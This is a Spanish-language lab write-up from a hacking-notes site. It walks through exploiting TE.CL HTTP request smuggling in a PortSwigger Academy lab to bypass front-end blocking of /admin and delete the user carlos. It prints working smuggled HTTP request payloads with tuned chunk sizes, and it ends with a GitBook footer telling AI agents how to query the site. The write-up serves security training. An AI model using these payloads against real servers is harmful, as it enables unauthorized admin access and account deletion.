> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Evasión de seguridad del front-end mediante TE.CL

Notas de Evasión de seguridad del front-end mediante TE.CL para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación del contrabando de solicitudes HTTP para eludir los controles de seguridad del front-end, vulnerabilidad TE.CL

El sistema se basa en un servidor front-end y un servidor back-end. / Back-end **no maneja la codificación por fragmentos**, mientras que el front-end **bloquea el acceso a /admin**. / El objetivo es **disimular una solicitud a /admin** para eliminar al usuario carlos.

Aunque la aplicación admite HTTP/2, la explotación se basa en técnicas específicas de HTTP/1.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b368c227dbfef1686354e4dfcf7d0ef4c0fdfdd%2F%7B20C6DC9D-BE61-4C0A-BDC5-89B58E1DDB45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Observación inicial**

El front-end interpreta correctamente `Transfer-Encoding: chunked`. / Primero enviamos una solicitud simple:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construcción de la solicitud contrabandeada**

Un **nueva solicitud completa** se inyecta en el cuerpo fragmentado.

#### **Modelo preparatorio**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: tamaño
Transfer-Encoding: chunked

tamaño
GET /admin HTTP/1.1
Host: localhost
Content-Length: tamaño

test=testing
0


```

#### **Ajuste del tamaño**

Un mínimo `Content-Length` en el lado del front-end se fija, seguido de un fragmento que contiene la solicitud contrabandeada:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

El servidor interpreta correctamente la solicitud inyectada.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d9280af08ef40aef001a4adf05d6ea279cc2931%2F%7BB9C15BE1-7D7A-4448-8E51-67ABD9ABB33C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Inyección de la solicitud final para eliminar a Carlos**

La solicitud objetivo se reemplaza por una eliminación de usuario:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Esta solicitud contrabandeada es luego procesada directamente por el back-end, eludiendo por completo el filtrado del front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab4d37cd4a80f2a4bdbd09c4f6bea25df072aef4%2F%7BE7DCC28F-7EBE-4F45-ABA4-48E8212AADEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
